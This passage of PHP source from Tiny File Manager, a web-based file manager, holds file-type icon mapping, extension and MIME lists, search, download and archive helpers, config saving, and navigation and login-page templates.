        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tar':
        case '7z':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
        'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return json
 */
 function scan($dir, $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($dir) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/

function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);
    header("Cache-Control: public");
    header("Content-Transfer-Encoding: binary\n");
    header('Content-Type: $contentType');

    $contentDisposition = 'attachment';


    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;
    $size = filesize($fileLocation);

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }

    if ($size == 0) {
        die('Zero byte file! Aborting download');
    }
    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    fseek($fp, $range);

    while (!feof($fp) and (connection_status() == 0)) {
        set_time_limit(0);
        print(@fread($fp, 1024*$chunkSize));
        flush();
        ob_flush();
        sleep(1);
    }
    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}



/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}



//--- templates functions

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <link rel="icon" href="<?php echo fm_enc($favicon_path) ?>" type="image/png">
    <title><?php echo fm_enc(APP_TITLE) ?></title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css">
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){ 
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){ 
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
